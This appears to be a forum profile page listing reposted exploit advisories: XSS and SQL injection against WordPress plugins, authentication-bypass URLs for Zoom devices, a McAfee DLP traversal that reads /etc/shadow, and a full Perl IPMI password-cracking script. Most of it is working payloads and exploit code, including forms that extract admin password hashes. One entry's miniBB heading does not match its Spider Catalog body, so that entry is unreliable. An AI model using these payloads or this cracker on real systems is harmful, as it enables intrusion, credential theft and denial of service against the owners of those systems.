Jump to content

HireHackking

Members
  • Joined

  • Last visited

Everything posted by HireHackking

  1. source: https://www.securityfocus.com/bid/60905/info The Category Grid View Gallery plugin for WordPress is prone to a cross-site-scripting vulnerability because it fails to properly sanitize user-supplied input. An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. http://www.example.com/wp-content/plugins/category-grid-view-gallery/includes/CatGridPost.php?ID=1172[xss]
  2. source: https://www.securityfocus.com/bid/61044/info Multiple Zoom Telephonics devices are prone to an information-disclosure vulnerability, multiple authentication bypass vulnerabilities and an SQL-injection vulnerability. Exploiting these issues could allow an attacker to gain unauthorized access and perform arbitrary actions, obtain sensitive information, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. Vulnerability proofs and examples- All administrative items can be accessed through these two URLs --Menu Banner http://www.example.com/hag/pages/toc.htm -Advanced Options Menu http://www.example.com/hag/pages/toolbox.htm Example commands that can be executed remotely through a web browser URL, or a modified HTTP GET/POST requests- -Change Password for admin Account On Firmware 2.5 or lower http://www.example.com/hag/emweb/PopOutUserModify.htm/FormOne&user=admin&ex_param1= admin&new_pass1=123456&new_pass2=123456&id=3&cmdSubmit=Save+Changes On Firmware 3.0- http://www.example.com/hag/emweb/PopOutUserModify.htm?id=40&user=admin&Zadv=1&ex_pa ram1=admin&new_pass1=123456&new_pass2=123456&id=3&cmdSubmit=Save+Changes -Clear Logs http://www.example.com/Action?id=76&cmdClear+Log=Clear+Log -Remote Reboot to Default Factory Settings- Warning - For all intents and purposes, this action will almost always result in a long term Denial of Service attack. http://www.example.com/Action?reboot_loc=1&id=5&cmdReboot=Reboot -Create New Admin or Intermediate Account- On Firmware 2.5 or lower http://www.example.com/hag/emweb/PopOutUserAdd.htm?id=70&user_id="newintermediateac count"&priv=v2&pass1="123456"&pass2="123456"&cmdSubmit=Save+Changes On Firmware 3.0- http://www.example.com/hag/emweb/PopOutUserAdd.htm?id=70&Zadv=1&ex_param1=adminuser _id="newadminaccount"&priv=v1&pass1="123456"&pass2="123456"&cmdSubmit=Sa ve+Changes
  3. source: https://www.securityfocus.com/bid/61033/info McAfee Data Loss Prevention is prone to multiple information-disclosure vulnerabilities. Attackers can exploit these issues to disclose contents of arbitrary files and obtain sensitive information. This may aid in launching further attacks. McAfee Data Loss Prevention 9.2.1 is vulnerable; prior versions may also be affected. https://www.example.com/ReDownloadLogs.do?filepath=/etc&filename=shadow&cmdName=false https://www.example.com/ReDownloadLogs.do?filepath=/etc&filename=syslog.conf&cmdName=false
  4. source: https://www.securityfocus.com/bid/61026/info phpVibe is prone to an information-disclosure vulnerability and multiple remote file-include vulnerabilities. An attacker can exploit these issues to obtain potentially sensitive information or execute malicious PHP code in the context of the web server process. This may allow the attacker to compromise the application and the underlying computer; other attacks are also possible. phpVibe 3.1 is vulnerable; other versions may also be affected. http://www.example.com/phpVibe/index.php?com_handler=[EV!L] http://www.example.com/phpVibe/app/classes/language.php?LANGUAGE_DIR=[EV!L] http://www.example.com/phpVibe/app/classes/language.php?lang=[EV!L] http://www.example.com/setup/application/views/displays/modules/backups/
  5. source: https://www.securityfocus.com/bid/61076/info Intelligent Platform Management Interface is prone to an information-disclosure vulnerability. Attackers can exploit this issue to obtain sensitive information that may aid password guessing attacks. Intelligent Platform Management Interface 2.0 is vulnerable; other versions may also be affected. #!/usr/bin/env perl # # Usage: rak-the-ripper [options] target # # dan/zen@trouble.org - 6/19/2013 # # Special thanks to Jarrod B Johnson (<jbjohnso@us.ibm.com>), whose # implemention of RAKP for the xCAT project (http://xcat.sourceforge.net/) # was instrumental to furthering my understanding of the issue. # # # Remote IPMi password cracker; uses the RAKP 2 protocol to guess passwords # from a remote BMC. No account or information needed. # # Options: # # -d Debug... let it all out # -i inform... every N guesses print out a status-y line # -n num-guesses sets N for -i option -p/path/to/words Use a file of # passwords to guess, 1 per line -P password Use a specific password # -u/path/to/users Use a file of users to guess, 1 per line -U # specific-user Use a specific user, don't guess -v Verbose -version # Print version # # # Explanation: # # IPMI v2, when using the RAKP protocol, uses HMAC hashes for authentication # (see page 162 of the IPMI 2.0 spec for more details.) # # Three factors are of interest here: # # 1) You can test if an account exists (RAKP will generate a recognizable error # if not.) # 2) IPMI will return a (supposedly) globally unique number for a BMC. This is # a potentially really interesting thing - identity of a system on a network # is a very difficult problem. Unfortunately it looks like many vendors # don't implement this correctly... not sure if all 0's (a common value) # afects the strength of the HMAC, but...? # 3) You get to extract the HMAC hash - and then run a password cracker on it. # Pretty interesting....! # # To start a RAKP session you can use the fine ipmitool utility (the "lanplus" # argument here forces IPMI 2.0): # # ipmitool -I lanplus -v -v -v -U ADMIN -P fluffy-wuffy -H 192.168.0.69 chassis identify # # This kicks off a back-n-forth sequence with a remote BMC; for instance, on my iMac, # it looks like this: # # client (iMac) BMC ------------- ---- 1 get channel auth # 2 response 3 RMCP+ open session request 4 open session # response 5 RAKP message 1 6 RAKP message 2 # # It's in step 6 that you get the HMAC hash needed to fill in the details. # Fortunately ipmitool gives you all you need. # # You may simply parse the verbose ipmitool output, which at one point will emit # something that looks like: # # >> rakp2 mac input buffer (63 bytes) # a4 a3 a2 a0 4c 7f fb df ec a4 a3 96 b1 d0 7e 27 cd ef 32 ae 66 cf # 87 b9 aa 3e 97 ed 5d 39 77 4b bc 8a c5 a9 e2 da 1d d9 35 30 30 31 # 4d 53 00 00 00 00 00 00 00 00 00 00 14 05 41 44 4d 49 4e # # these bytes are, in order, the session IDs of the remote console & managed system, # the remote console's random number, the managed system's random number, # the managed system's GUID, the priv level, the length of the user name, # and finally the user name. # # You simply take the HMAC of that and the password (or password guess!) # and compare it with the key exchange auth code that the BMC has sent you. # # << Key exchange auth code [sha1] : 0xede8ec3caeb235dbad1210ef985b1b19cdb40496 # # Default Users: 'admin', 'USERID', 'root', 'Administrator', 'ADMIN' # Default Passwords: 'PASSW0RD', 'admin', 'calvin', 'changeme', 'opensource', 'password' use Time::HiRes; use IO::CaptureOutput qw/capture_exec/; use Digest::SHA qw(hmac_sha1_hex); use Getopt::Long qw(:config no_ignore_case); sub main::VERSION_MESSAGE { print "$0 0.0.1\n"; exit; }; sub main::HELP_MESSAGE { print "Usage: $0 [options] target\n". "\t-d\t\t\tDebug... print words as they're being guessed\n". "\t-i\t\t\tinform... every N guesses print out a status-y line\n". "\t-n num-guesses\t\tsets N for -i option\n". "\t-p /path/to/words\tUse a file of passwords to guess, 1 per line\n". "\t-P password\t\tUse a specific password \n". "\t-u /path/to/users\tUse a file of users to guess, 1 per line\n". "\t-U specific-user\tUse a specific user, don't guess\n". "\t-v\t\t\tVerbose\n". "\t-version\t\tPrint version #\n"; exit; }; GetOptions( 'd' => \$debug, 'h' => \$help, 'help' => \$help, 'i' => \$inform, 'inform' => \$inform, 'n=i' => \$Nguesses, 'p=s' => \$password_file, 'P=s' => \@guesses, 'u=s' => \$user_file, 'U=s' => \@users, 'v' => \$verbose, 'version' => \$version ) || die main::HELP_MESSAGE(); # # process command line arg stuff # die main::HELP_MESSAGE() if (defined($help)); # the target, specified on command line $target = $ARGV[0]; die main::HELP_MESSAGE() if ($target eq ""); # this can take awhile to finish... print "Started at " . `date` if $verbose; # anything > 0 and <= 20 characters would work here; ipmitool simply needs something $pass = "fluffy-wuffy-bunny!!"; # # Need some passwords to guess... either from file or some defaults I made up # Not going to cache these since they can blow up my poor mac's memory... feel # free to change it ;) # if (! defined(@guesses)) { if ($password_file ne "") { open(PASSWORDS, $password_file) || die "can't open user file $password_file\n"; print "opening password file $password_file\n" if $verbose; } else { print "using default passwords\n" if $verbose; @guesses = ('PASSW0RD', 'admin', 'calvin', 'changeme', 'opensource', 'password'); } } # # need to know account name... either from file or some defaults I made up # if (! defined(@users)) { if ($user_file ne "") { open(ACCOUNTS, $user_file) || die "can't open user file $user_file\n"; print "getting list of users from $user_file\n" if $verbose; @users = <ACCOUNTS>; chomp(@users); close(ACCOUNTS); } else { @users = ('admin', 'ADMIN', 'USERID', 'root', 'Administrator'); print "using default user list\n" if $verbose; } } # # a tiny subroutine to chow down on possible guesses # sub guesswork() { print "\t$guess...\n" if $debug; if ($inform) { print "\t$n guesses (so far)...\n" if (! ($n % $Nguesses)); } $guess_suffix = ""; $guess_suffix = "ses" if $n > 1; # $stuff = pack 'C*', map hex, @input; print # hmac_sha1_hex($stuff,$pass) . "\n"; print "... 0x" . # hmac_sha1_hex($stuff,$guess) . "\n"; if ("0x" . hmac_sha1_hex($stuff,$guess) eq $hashy) { print "...cracked in $n guess$guess_suffix...\n\nPassword for $user is $guess\n\n"; $cracked = 1; return 1; } $n++; return(0); } # # look for a user, any user... RAKP will gripe if it's not valid # for $user (@users) { print("\tprobing $target for $user...\n") if $verbose; # chassis id starts up the RP machinery @icmd = ("ipmitool", "-I", "lanplus", "-v","-v","-v","-v", "-U", "$user", "-P", "$pass", "-H", "$target", "chassis", "identify"); ($stdout, $stderr, $success, $exit) = capture_exec( @icmd ); # # grabbing two things - the input to calculate the hash, and the hash itself. # but first... hunt for a valid user on the BMC. # if ($stdout =~ /RMCP\+ status\s+:\s+unauthorized name/) { next; } elsif ($stdout =~ /RMCP\+ status\s+:\s+insufficient resources for session/) { print "interesting... insufficient resources... try again?\n" if $verbose; next; } elsif ($stdout =~ /^\s*$/) { next; } # kill the leading whitespace & newlines... hash is in stdout, input data in stderr $stderr =~ s/\n//gs; $stdout =~ s/\n//gs; $name_found = 1; print "Found valid user: $user\n" if $verbose; # after this, no need to continue with other users @users = (); # << Key exchange auth code [sha1] : 0x6e5d0a121e13fa8f73bfc2da15f7b012382f6be9 ($hashy = $stdout) =~ m/^.*<< Key exchange auth code \[sha1\] : ([^\s]+).*$/m; $hashy = $1; if ($hashy eq "") { print "couldn't find an auth code, skipping\n"; next; } ($input = $stderr) =~ m/^.*>> rakp2 mac input buffer \(\d+ bytes\) ([^>]+)>>.*$/m; $input = $1; if ($input eq "") { print "couldn't find data to HMAC, skipping\n"; next; } # stuff it into binary form $stuff = pack 'C*', map hex, split(/ /, $input); print "... searching for HMAC match for $user ($hashy)\n" if $verbose; $n = 1; $cracked = 0; # curiosity ;) $start = Time::HiRes::gettimeofday(); if (! defined(@guesses)) { while (($guess = <PASSWORDS>)) { chomp($guess); break if guesswork(); } close(PASSWORDS); } else { for $guess (@guesses) { break if guesswork(); } } } die "\nno valid accounts found\n" unless $name_found; print "$n passwords were tried\n" if $verbose; $end = Time::HiRes::gettimeofday(); $time = $end - $start; if ($verbose && $time > 0) { printf("time elapsed was ~ %.2f\n", $end - $start); $per_second = $n / $time; print "$n passwords were guessed, at the rate of $per_second per second\n"; }
  6. source: https://www.securityfocus.com/bid/61081/info Air Drive Plus is prone to multiple input validation vulnerabilities including a local file-include vulnerability, an arbitrary file-upload vulnerability, and an HTML-injection vulnerability. An attacker can exploit these issues to upload arbitrary files onto the web server, execute arbitrary local files within the context of the web server, obtain sensitive information, execute arbitrary script code within the context of the browser, and steal cookie-based authentication credentials. Air Drive Plus 2.4 is vulnerable; other versions may also be affected. <tr><td><img src="Air%20Drive%20-%20Files_files/file.png" height="20px" width="20px"></td><td><a target="_blank" href="http://www.example.com/AirDriveAction_file_show/;/private/var/mobile/Applications";>;/private/var/mobile/Applications/</a></td> <td>27,27KB</td><td align="center">2013-07-08 23:07:52</td><td align="center"> <a onclick="javascript:delfile("/private/var/mobile/Applications");" class="transparent_button">Delete</a></td></tr> <tr><td><img src="Air%20Drive%20-%20Files_files/file.png" height="20px" width="20px"></td><td><a target="_blank" href="http://www.example.com/AirDriveAction_file_show/1337.png.gif.php.js.html";>1337.png.gif.php.js.html</a></td> <td>27,27KB</td><td align="center">2013-07-08 23:07:52</td><td align="center"><a onclick="javascript:delfile("1337.png.gif.php.js.html");" class="transparent_button">Delete</a></td></tr> <tr><td><img src="Air%20Drive%20-%20Files_files/file.png" height="20px" width="20px"></td><td><a target="_blank" href="http://www.example.com/AirDriveAction_file_show/[PERSISTENT INJECTED SCRIPT CODE!]1337.png">[PERSISTENT INJECTED SCRIPT CODE!]1337.png</a></td><td>27,27KB</td><td align="center"> 2013-07-08 23:07:52</td><td align="center"><a onclick="javascript:delfile("[PERSISTENT INJECTED SCRIPT CODE!]1337.png");" class="transparent_button">Delete</a></td></tr>
  7. source: https://www.securityfocus.com/bid/61114/info Mintboard is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input. An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks. Mintboard 0.3 is vulnerable; other versions may also be affected. http://www.example.com/?login=3 (POST: name) http://www.example.com/?login=3 (POST: pass) http://www.example.com/?signup=3 (POST: name) http://www.example.com/?signup=3 (POST: pass)
  8. source: https://www.securityfocus.com/bid/61090/info Cryptocat is prone to an information disclosure vulnerability. An attacker can exploit this issue to gain access to sensitive information that may aid in further attacks. Cryptocat 2.0.21 is vulnerable; other versions may also be affected. <img src="chrome-extension://[extension-id-from-chrome-web- store]/img/keygen.gif" onload=alert(/hascat/) onerror=alert(/hasnot/) >
  9. source: https://www.securityfocus.com/bid/61116/info miniBB is prone to an SQL-injection vulnerability and multiple cross-site scripting vulnerabilities. Successful exploits could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. miniBB 3.0.0 is vulnerable; other versions may also be affected. Php script "catalog.php" line 101: ------------------------[ source code start ]---------------------------------- add_shortcode('Spider_Catalog_Category', 'Spider_Catalog_Products_list_shotrcode'); function Spider_Catalog_Single_product_shotrcode($atts) { extract(shortcode_atts(array( 'id' => '', ), $atts)); return spider_cat_Single_product($id); } add_shortcode('Spider_Catalog_Product', 'Spider_Catalog_Single_product_shotrcode'); ... function spider_cat_Single_product($id) { ... return front_end_single_product($id); Php script "front_end_functions.php" line 18: ------------------------[ source code start ]---------------------------------- function front_end_single_product($id) { ... $product_id=$id; ... $query = "SELECT ".$wpdb->prefix."spidercatalog_products.*, ".$wpdb->prefix."spidercatalog_product_categories.name as cat_name FROM ".$wpdb->prefix."spidercatalog_products left join ".$wpdb->prefix."spidercatalog_product_categories on ".$wpdb->prefix."spidercatalog_products.category_id= ".$wpdb->prefix."spidercatalog_product_categories.id where ".$wpdb->prefix."spidercatalog_products.id='".$product_id."' and ".$wpdb->prefix."spidercatalog_products.published = '1' "; $rows = $wpdb->get_results($query); ------------------------[ source code end ]---------- As seen above, parameter "id" is used in SQL query without any sanitization, which leads to SQL Injection vulnerability. Tests: Log in as user with posting privileges and use shortcode as below: [Spider_Catalog_Product id="0' UNION SELECT 1,2,3,@@version,5,6,7,8,9,10,11,12#"] Now open webpage containing specific post and MySQL version info will be revealed. Second test: [Spider_Catalog_Product id="0' UNION SELECT 1,2,3,(SELECT CONCAT_WS(0x3a,user_login,user_pass)FROM wp_users WHERE ID=1),5,6,7,8,9,10,11,12#"] As result, sensitive information (username and hashed password) will be revealed for Wordpress user with ID 1 (usually admin). SQL Injection in other shortcode can be exploited in similar way: [Spider_Catalog_Category id="0 UNION SELECT 1,2,@@version,4,5,6,7,8#"] ... and we can see MySQL version info (look at the html source code): <a style="cursor:pointer;" onclick="catt_idd_1(5.5.30)" >Back to Catalog ############################################################################### 2. SQL Injection in "catalog.php" function "catalog_after_search_results()" ############################################################################### Reason: 1. insufficient sanitization of user-supplied data Attack vector: 1. user-supplied parameter "s" Preconditions: none Php script "catalog.php" line 39: ------------------------[ source code start ]---------------------------------- function catalog_after_search_results($query){ global $wpdb; if(isset($_REQUEST['s']) && $_REQUEST['s']){ $serch_word=htmlspecialchars(stripslashes($_REQUEST['s'])); $query=str_replace($wpdb->prefix."posts.post_content", gen_string_catalog_search($serch_word,$wpdb->prefix.'posts.post_content') ." ".$wpdb->prefix."posts.post_content",$query); } return $query; } add_filter( 'posts_request', 'catalog_after_search_results'); ------------------------[ source code end ]------------------------------------ User-submitted parameter "s" is prepared with functions "stripslashes" and "htmlspecialchars" and then used in SQL query in Wordpress seach functionality. Stripping slashes from parameter "s" nullifies "magic_quotes_gpc" effect and "htmlspecialchars" is suppose to be used for sanitization. Still, it is known, that "htmlspecialchars" function by default does not modify single quotes, which leads to SQL Injection vulnerability. Specific SQL Injection can be exploited using "Nested SQL Injection" method. Tests: first we need to make sure, that Wordpress will show SQL errors. Let's open the file "wp-includes/wp-db.php" and change the line var $show_errors = false; to the line below: var $show_errors = true; Then let's issue GET request: http://localhost/wp351/?s=war'axe As result SQL errors will be shown on webpage: WordPress database error: [You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'axe%') OR (name LIKE '%war'axe%')' at line 1] SELECT * FROM wp_spidercatalog_product_categories WHERE (description LIKE '%war'axe%') OR (name LIKE '%war'axe%') This confirms SQL Injection existence. Now let's try exploitation, which can be done using either GET or POST method. PoC code below uses POST method. <html><body><center> <form action="http://localhost/wp351/" method="post"> <input type="hidden" name="s" value="')UNION SELECT CONCAT(0x27,')))UNION SELECT 1,1,1,1,1,(SELECT CONCAT_WS(0x3a,user_login,user_pass)FROM wp_users WHERE ID=1),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1',0x23),1,1,1,1,1,1,1#"> <input type="submit" value="Test"> </form> </center></body></html> After clicking "Test" button POST request will be made and resulting web page reveals username and password hash for Wordpress user with ID 1. ############################################################################### 3. SQL Injection in "Categories.php" function "change_cat()" ############################################################################### Reason: 1. insufficient sanitization of user-supplied data Attack vector: 1. user-supplied GET parameter "id" Preconditions: 1. must be logged in as Wordpress admin Php script "Categories.php" line 491: ------------------------[ source code start ]---------------------------------- function change_cat( $id ){ global $wpdb; $published=$wpdb->get_var("SELECT published FROM ".$wpdb->prefix."spidercatalog_product_categories WHERE `id`=".$id ); ------------------------[ source code end ]------------------------------------ Tests: first we need to make sure, that Wordpress will show SQL errors. Let's open the file "wp-includes/wp-db.php" and change the line var $show_errors = false; to the line below: var $show_errors = true; Now log in as Wordpress admin and then issue GET request as below: http://localhost/wp351/wp-admin/admin.php?page=Categories_Spider_Catalog&task=publish_cat&id=waraxe As result SQL errors will be shown on webpage: WordPress database error: [Unknown column 'waraxe' in 'where clause'] SELECT published FROM wp_spidercatalog_product_categories WHERE `id`=waraxe This confirms SQL Injection existence. ############################################################################### 4. SQL Injection in "Categories.php" function "editCategory()" ############################################################################### Reason: 1. insufficient sanitization of user-supplied data Attack vector: 1. user-supplied GET parameter "id" Preconditions: 1. must be logged in as Wordpress admin Php script "Categories.php" line 338: ------------------------[ source code start ]---------------------------------- function editCategory($id) { ... $query="SELECT * FROM ".$wpdb->prefix."spidercatalog_product_categories WHERE id='".$id."'"; $row=$wpdb->get_row($query); ------------------------[ source code end ]------------------------------------ Tests: first we need to make sure, that Wordpress will show SQL errors. Let's open the file "wp-includes/wp-db.php" and change the line var $show_errors = false; to the line below: var $show_errors = true; Now log in as Wordpress admin and then issue GET request as below: http://localhost/wp351/wp-admin/admin.php?page=Categories_Spider_Catalog&task=edit_cat&id=waraxe As result SQL errors will be shown on webpage: WordPress database error: [Unknown column 'waraxe' in 'where clause'] SELECT * FROM wp_spidercatalog_product_categories WHERE id!=waraxe and parent=0 This confirms SQL Injection existence. ############################################################################### 5. SQL Injection in "Categories.php" function "apply_cat()" ############################################################################### Reason: 1. insufficient sanitization of user-supplied data Attack vector: 1. user-supplied GET parameter "id" Preconditions: 1. must be logged in as Wordpress admin Php script "Categories.php" line 570: ------------------------[ source code start ]---------------------------------- function apply_cat($id) { ... $cat_row=$wpdb->get_results("SELECT * FROM ".$wpdb->prefix."spidercatalog_product_categories WHERE id!=" .$_GET['id']. " "); ------------------------[ source code end ]------------------------------------ Tests: first we need to make sure, that Wordpress will show SQL errors. Let's open the file "wp-includes/wp-db.php" and change the line var $show_errors = false; to the line below: var $show_errors = true; Now log in as Wordpress admin and then issue GET request as below: http://localhost/wp351/wp-admin/admin.php?page=Categories_Spider_Catalog&task=save&id=waraxe As result SQL errors will be shown on webpage: WordPress database error: [Unknown column 'waraxe' in 'where clause'] SELECT * FROM wp_spidercatalog_product_categories WHERE id!=waraxe This confirms SQL Injection existence. ############################################################################### 6. SQL Injection in "Categories.php" function "removeCategory()" ############################################################################### Reason: 1. insufficient sanitization of user-supplied data Attack vector: 1. user-supplied GET parameter "id" Preconditions: 1. must be logged in as Wordpress admin Php script "Categories.php" line 519: ------------------------[ source code start ]---------------------------------- function removeCategory($id) { ... $sql_remov_tag="DELETE FROM ".$wpdb->prefix."spidercatalog_product_categories WHERE id='".$id."'"; if(!$wpdb->query($sql_remov_tag)) ------------------------[ source code end ]------------------------------------ Tests: first we need to make sure, that Wordpress will show SQL errors. Let's open the file "wp-includes/wp-db.php" and change the line var $show_errors = false; to the line below: var $show_errors = true; Now log in as Wordpress admin and then issue GET request as below: http://localhost/wp351/wp-admin/admin.php?page=Categories_Spider_Catalog&task=remove_cat&id=waraxe As result SQL errors will be shown on webpage: WordPress database error: [Unknown column 'waraxe' in 'where clause'] UPDATE wp_spidercatalog_product_categories SET parent="0" WHERE parent=waraxe This confirms SQL Injection existence. ############################################################################### 7. SQL Injection in "products.php" function "update_prad_cat()" ############################################################################### Reason: 1. insufficient sanitization of user-supplied data Attack vector: 1. user-supplied POST parameter "ordering" Preconditions: 1. must be logged in as Wordpress admin Php script "products.php" line 364: ------------------------[ source code start ]---------------------------------- function update_prad_cat($id){ ... $corent_ord=$wpdb->get_var('SELECT `ordering` FROM '.$wpdb->prefix.'spidercatalog_products WHERE id=''.$id.'''); ... if($corent_ord>$_POST["ordering"]) { $rows=$wpdb->get_results('SELECT * FROM '.$wpdb->prefix.'spidercatalog_products WHERE ordering>='.$_POST["ordering"].' AND id<>''.$id.'' ORDER BY `ordering` ASC '); ------------------------[ source code end ]------------------------------------ Test: first we need to make sure, that Wordpress will show SQL errors. Let's open the file "wp-includes/wp-db.php" and change the line var $show_errors = false; to the line below: var $show_errors = true; Now let's use html form below for testing: <html><body><center> <form action="http://localhost/wp351/wp-admin/admin.php?page=Products_Spider_Catalog&task=apply&id=0" method="post"> <input type="hidden" name="ordering" value="waraxe"> <input type="submit" value="Test"> </form> </center></body></html> After pushing "Test" button SQL error will be shown on resulting webpage: WordPress database error: [Unknown column 'waraxe' in 'where clause'] SELECT * FROM wp_spidercatalog_products WHERE ordering>=waraxe ORDER BY `ordering` ASC This confirms SQL Injection existence. ############################################################################### 8. SQL Injection in "products.php" function "change_prod()" ############################################################################### Reason: 1. insufficient sanitization of user-supplied data Attack vector: 1. user-supplied GET parameter "id" Preconditions: 1. must be logged in as Wordpress admin Php script "products.php" line 245: ------------------------[ source code start ]---------------------------------- function change_prod( $id ){ ... $published=$wpdb->get_var("SELECT published FROM ".$wpdb->prefix."spidercatalog_products WHERE `id`=".$id ); ------------------------[ source code end ]------------------------------------ Test: first we need to make sure, that Wordpress will show SQL errors. Let's open the file "wp-includes/wp-db.php" and change the line var $show_errors = false; to the line below: var $show_errors = true; Now log in as Wordpress admin and then issue GET request as below: http://localhost/wp351/wp-admin/admin.php?page=Products_Spider_Catalog&task=unpublish_prad&id=waraxe As result SQL errors will be shown on webpage: WordPress database error: [Unknown column 'waraxe' in 'where clause'] SELECT published FROM wp_spidercatalog_products WHERE `id`=waraxe This confirms SQL Injection existence. ############################################################################### 9. SQL Injection in "products.php" function "spider_cat_prod_rev()" ############################################################################### Reason: 1. insufficient sanitization of user-supplied data Attack vector: 1. user-supplied POST parameter "order_by" Preconditions: 1. must be logged in as Wordpress admin Php script "products.php" line 745: ------------------------[ source code start ]---------------------------------- function spider_cat_prod_rev($id) { ... if(isset($_POST['page_number'])) { if($_POST['asc_or_desc']) { $sort["sortid_by"]=$_POST['order_by']; ... $order="ORDER BY ".$sort["sortid_by"]." ASC"; ... $query = "SELECT * FROM ".$wpdb->prefix."spidercatalog_product_reviews". $where." ". $order." "." LIMIT ".$limit.",20"; $rows = $wpdb->get_results($query); ------------------------[ source code end ]------------------------------------ Test: first we need to make sure, that Wordpress will show SQL errors. Let's open the file "wp-includes/wp-db.php" and change the line var $show_errors = false; to the line below: var $show_errors = true; Now let's use html form below for testing: <html><body><center> <form action="http://localhost/wp351/wp-admin/admin.php?page=Products_Spider_Catalog&task=edit_reviews&id=0" method="post"> <input type="hidden" name="order_by" value="waraxe"> <input type="hidden" name="page_number" value="1"> <input type="hidden" name="asc_or_desc" value="1"> <input type="submit" value="Test"> </form> </center></body></html> After pushing "Test" button SQL error will be shown on resulting webpage: WordPress database error: [Unknown column 'waraxe' in 'order clause'] SELECT * FROM wp_spidercatalog_product_reviews WHERE product_id='0' ORDER BY waraxe ASC LIMIT 0,20 This confirms SQL Injection existence. ############################################################################### 10. SQL Injection in "products.php" function "delete_rev()" ############################################################################### Reason: 1. insufficient sanitization of user-supplied data Attack vector: 1. user-supplied POST parameter "post" Preconditions: 1. must be logged in as Wordpress admin Php script "products.php" line 817: ------------------------[ source code start ]---------------------------------- function delete_rev($id){ .. $cid = $_POST['post']; ... $cids = implode(',', $cid); $query = "DELETE FROM ".$wpdb->prefix."spidercatalog_product_reviews WHERE id IN ( ".$cids." )"; if(!$wpdb->query($query)) ------------------------[ source code end ]------------------------------------ Test: first we need to make sure, that Wordpress will show SQL errors. Let's open the file "wp-includes/wp-db.php" and change the line var $show_errors = false; to the line below: var $show_errors = true; Now let's use html form below for testing: <html><body><center> <form action="http://localhost/wp351/wp-admin/admin.php?page=Products_Spider_Catalog&task=delete_reviews" method="post"> <input type="hidden" name="post[]" value="waraxe"> <input type="submit" value="Test"> </form> </center></body></html> After pushing "Test" button SQL error will be shown on resulting webpage: WordPress database error: [Unknown column 'waraxe' in 'where clause'] DELETE FROM wp_spidercatalog_product_reviews WHERE id IN ( waraxe ) This confirms SQL Injection existence. ############################################################################### 11. SQL Injection in "products.php" function "delete_single_review()" ############################################################################### Reason: 1. insufficient sanitization of user-supplied data Attack vector: 1. user-supplied GET parameter "del_id" Preconditions: 1. must be logged in as Wordpress admin Php script "products.php" line 854: ------------------------[ source code start ]---------------------------------- function delete_single_review($id) { ... $del_id=$_GET['del_id']; $query = "DELETE FROM ".$wpdb->prefix."spidercatalog_product_reviews WHERE id=".$del_id; if(!$wpdb->query($query)) ------------------------[ source code end ]------------------------------------ Test: first we need to make sure, that Wordpress will show SQL errors. Let's open the file "wp-includes/wp-db.php" and change the line var $show_errors = false; to the line below: var $show_errors = true; Now log in as Wordpress admin and then issue GET request as below: http://localhost/wp351/wp-admin/admin.php?page=Products_Spider_Catalog&task=delete_review&del_id=waraxe As result SQL errors will be shown on webpage: WordPress database error: [Unknown column 'waraxe' in 'where clause'] DELETE FROM wp_spidercatalog_product_reviews WHERE id=waraxe This confirms SQL Injection existence. ############################################################################### 12. SQL Injection in "products.php" function "spider_cat_prod_rating()" ############################################################################### Reason: 1. insufficient sanitization of user-supplied data Attack vector: 1. user-supplied POST parameter "order_by" Preconditions: 1. must be logged in as Wordpress admin Php script "products.php" line 940: ------------------------[ source code start ]---------------------------------- function spider_cat_prod_rating($id) { ... if(isset($_POST['page_number'])) { if($_POST['asc_or_desc']) { $sort["sortid_by"]=$_POST['order_by']; ... $order="ORDER BY ".$sort["sortid_by"]." ASC"; ... $query = "SELECT * FROM ".$wpdb->prefix."spidercatalog_product_votes" .$where." ". $order." "." LIMIT ".$limit.",20"; $rows = $wpdb->get_results($query); ------------------------[ source code end ]------------------------------------ Test: first we need to make sure, that Wordpress will show SQL errors. Let's open the file "wp-includes/wp-db.php" and change the line var $show_errors = false; to the line below: var $show_errors = true; Now let's use html form below for testing: <html><body><center> <form action="http://localhost/wp351/wp-admin/admin.php?page=Products_Spider_Catalog&task=edit_rating&id=0" method="post"> <input type="hidden" name="order_by" value="waraxe"> <input type="hidden" name="page_number" value="1"> <input type="hidden" name="asc_or_desc" value="1"> <input type="submit" value="Test"> </form> </center></body></html> After pushing "Test" button SQL error will be shown on resulting webpage: WordPress database error: [Unknown column 'waraxe' in 'order clause'] SELECT * FROM wp_spidercatalog_product_votes WHERE product_id='0' ORDER BY waraxe ASC LIMIT 0,20 This confirms SQL Injection existence. ############################################################################### 13. SQL Injection in "products.php" function "delete_ratings()" ############################################################################### Reason: 1. insufficient sanitization of user-supplied data Attack vector: 1. user-supplied POST parameter "post" Preconditions: 1. must be logged in as Wordpress admin Php script "products.php" line 1014: ------------------------[ source code start ]---------------------------------- function delete_ratings($id){ ... $cid = $_POST['post']; ... $cids = implode(',', $cid); $query = "DELETE FROM ".$wpdb->prefix."spidercatalog_product_votes WHERE id IN ( ".$cids." )"; if(!$wpdb->query($query)) ------------------------[ source code end ]------------------------------------ Test: first we need to make sure, that Wordpress will show SQL errors. Let's open the file "wp-includes/wp-db.php" and change the line var $show_errors = false; to the line below: var $show_errors = true; Now let's use html form below for testing: <html><body><center> <form action="http://localhost/wp351/wp-admin/admin.php?page=Products_Spider_Catalog&task=delete_ratings" method="post"> <input type="hidden" name="post[]" value="waraxe"> <input type="submit" value="Test"> </form> </center></body></html> After pushing "Test" button SQL error will be shown on resulting webpage: WordPress database error: [Unknown column 'waraxe' in 'where clause'] DELETE FROM wp_spidercatalog_product_votes WHERE id IN ( waraxe ) This confirms SQL Injection existence. ############################################################################### 14. SQL Injection in "products.php" function "delete_single_rating()" ############################################################################### Reason: 1. insufficient sanitization of user-supplied data Attack vector: 1. user-supplied GET parameter "del_id" Preconditions: 1. must be logged in as Wordpress admin Php script "products.php" line 1051: ------------------------[ source code start ]---------------------------------- function delete_single_rating($id) { ... $del_id=$_GET['del_id']; $query = "DELETE FROM ".$wpdb->prefix."spidercatalog_product_votes WHERE id=".$del_id; if(!$wpdb->query($query)) ------------------------[ source code end ]------------------------------------ Test: first we need to make sure, that 